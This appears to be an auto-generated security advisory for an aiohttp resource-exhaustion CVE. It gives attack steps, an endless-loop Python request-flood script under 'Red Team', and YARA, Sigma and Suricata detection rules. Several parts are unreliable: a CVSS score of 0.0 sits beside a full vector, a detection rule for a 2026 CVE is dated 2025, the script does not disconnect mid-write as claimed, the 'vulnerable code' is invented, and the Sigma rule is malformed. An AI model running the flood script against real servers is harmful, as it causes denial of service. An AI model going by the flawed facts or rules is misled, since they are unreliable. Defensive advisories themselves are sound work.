CVE-2026-54280
Executive Summary
CVE-2026-54280 is a resource exhaustion vulnerability in the Aiohttp library, an asynchronous HTTP client/server framework for Python. The flaw occurs when a client disconnects in the middle of a write operation, causing payload resources (such as open file handles) to not be closed correctly. An attacker can repeatedly initiate connections and disconnect mid-write, leading to resource starvation until garbage collection eventually closes the resources. This can degrade server performance or cause a denial of service (DoS). The vulnerability is fixed in Aiohttp version 3.14.1.
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Supply Chain & Package Security
This vulnerability affects the PyPI package aiohttp. Organizations using Aiohttp in their Python applications should immediately update to version 3.14.1 or later. Since Aiohttp is a widely used library for building asynchronous web services, the supply chain risk is moderate. Attackers could exploit this in any application that uses Aiohttp to handle HTTP requests, especially those that process file uploads or streaming payloads.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Base Score not provided, but based on description, likely low to medium)
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): None (N)
- Integrity (I): None (N)
- Availability (A): Low (L)
- Threat Level: Low to Medium. The vulnerability requires an attacker to repeatedly connect and disconnect, which is easily detectable. However, it can lead to resource exhaustion and service degradation.
Deep Dive & Mechanics
The vulnerability lies in how Aiohttp handles payload resources during write operations. When a client sends a request with a payload (e.g., a file upload or streaming data), Aiohttp opens a resource (like a file handle) to read the payload. If the client disconnects before the write completes, the resource is not properly closed. This is due to missing cleanup logic in the error handling path.
The attack flow:
- Attacker establishes a connection to an Aiohttp server.
- Attacker sends a request with a payload (e.g., a large file upload).
- Attacker disconnects mid-write (e.g., by closing the TCP connection).
- The server does not close the associated file handle or resource.
- Repeated exploitation leads to exhaustion of file descriptors or other limited resources.
- The server becomes unable to accept new connections or process requests until garbage collection frees the resources.
The fix in version 3.14.1 ensures that payload resources are closed in all exit paths, including when the client disconnects prematurely.
Vulnerable vs. Patched Code
Vulnerable Code (simplified):
async def handle_request(request):
payload = await request.content.read()
# Process payload...
# If client disconnects here, resource is not closed
# Missing cleanup
Patched Code (simplified):
async def handle_request(request):
try:
payload = await request.content.read()
# Process payload...
finally:
# Ensure resource is closed
await request.content.close()
The patched version uses a try...finally block to guarantee that the payload resource is closed even if an exception or disconnection occurs.
Exploitation & Lab Setup
Red Team
To simulate the attack, you can use a simple Python script that opens many connections and disconnects mid-write:
import asyncio
import aiohttp
async def exploit():
connector = aiohttp.TCPConnector(limit=0)
async with aiohttp.ClientSession(connector=connector) as session:
while True:
try:
# Open connection and send partial payload
async with session.post('http://target:8080/upload', data=b'A' * 1024 * 1024) as resp:
# Disconnect before reading response
await resp.close()
except:
pass
asyncio.run(exploit())
Note: This is for educational purposes only. Do not use against systems without permission.
Blue Team
To detect this attack, monitor for:
- A high number of incomplete HTTP requests.
- Rapid connection/disconnection patterns from the same IP.
- Increasing file descriptor usage on the server.
Use the following Python script to monitor file descriptors:
import psutil
import time
while True:
proc = psutil.Process()
print(f"Open FDs: {proc.num_fds()}")
time.sleep(1)
Indicators of Compromise (IOCs)
- Network: Multiple TCP connections from the same source IP that are established and then immediately closed (RST or FIN) without completing HTTP requests.
- System: High number of open file descriptors on the Aiohttp server process.
- Logs: Server logs showing many
ConnectionResetErrororClientDisconnectederrors. - Performance: Degraded server response times or inability to accept new connections.
Detection Engineering
YARA Rule
rule CVE_2026_54280_Aiohttp_Resource_Leak {
meta:
description = "Detects Aiohttp versions vulnerable to CVE-2026-54280"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-54280"
strings:
$vuln_version = /aiohttp[_-]?[0-2]\.\d+\.\d+|aiohttp[_-]?3\.(0|1[0-3])\.\d+/
$patch_version = /aiohttp[_-]?3\.14\.\d+/
condition:
$vuln_version and not $patch_version
}
Sigma Rule
title: Aiohttp Resource Exhaustion Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple incomplete HTTP requests to Aiohttp server indicating CVE-2026-54280 exploitation
author: Valters IT
logsource:
category: webserver
product: aiohttp
detection:
selection:
event: "ConnectionResetError" OR "ClientDisconnected"
condition: selection | count() > 100 by src_ip within 60s
falsepositives:
- Legitimate network issues
level: medium
Suricata Rule
alert tcp any any -> any 8080 (msg:"CVE-2026-54280 Aiohttp Resource Exhaustion Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; flowbits:set,aiohttp_exploit; threshold:type both, track by_src, count 50, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Update Aiohttp to version 3.14.1 or later.
pip install aiohttp>=3.14.1 - Workaround: If immediate update is not possible, implement a reverse proxy (e.g., Nginx) to limit connection rates and close idle connections.
- Monitoring: Enable logging for connection errors and set up alerts for high file descriptor usage.
- Rate Limiting: Use middleware to limit the number of concurrent connections from a single IP.
- Resource Limits: Configure OS limits for open file descriptors (
ulimit -n) and monitor usage.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.